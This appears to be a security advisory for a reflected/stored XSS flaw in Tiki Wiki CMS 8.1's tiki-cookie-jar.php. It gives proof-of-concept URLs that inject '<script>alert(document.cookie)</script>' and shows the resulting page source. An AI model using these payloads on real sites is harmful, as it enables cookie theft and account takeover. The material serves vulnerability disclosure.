source: https://www.securityfocus.com/bid/51128/info

Tiki Wiki CMS Groupware is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. 

Tested with Firefox 7.01

Visit this URL

http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss=</style></script><script>alert(document.cookie)</script> -> blank site

But when you visit one of this pages, the XSS will be executed

http://www.example.com/tiki-8.1/tiki-login.php
http://www.example.com/tiki-8.1/tiki-remind_password.php

// browser source code

show_errors: &#039;y&#039;,
		xss: &#039;</style></script><script>alert(document.cookie)</script>&#039;
};

Another example:

http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss1=</style></script><script>alert(document.cookie)</script>
http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss2=</style></script><script>alert(document.cookie)</script>
http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss3=</style></script><script>alert(document.cookie)</script>

All of them will be executed!

// browser source code

show_errors: &#039;y&#039;,
	xss1: &#039;</style></script><script>alert(document.cookie)</script>&#039;,
	xss2: &#039;</style></script><script>alert(document.cookie)</script>&#039;,
	xss3: &#039;</style></script><script>alert(document.cookie)</script>&#039;
};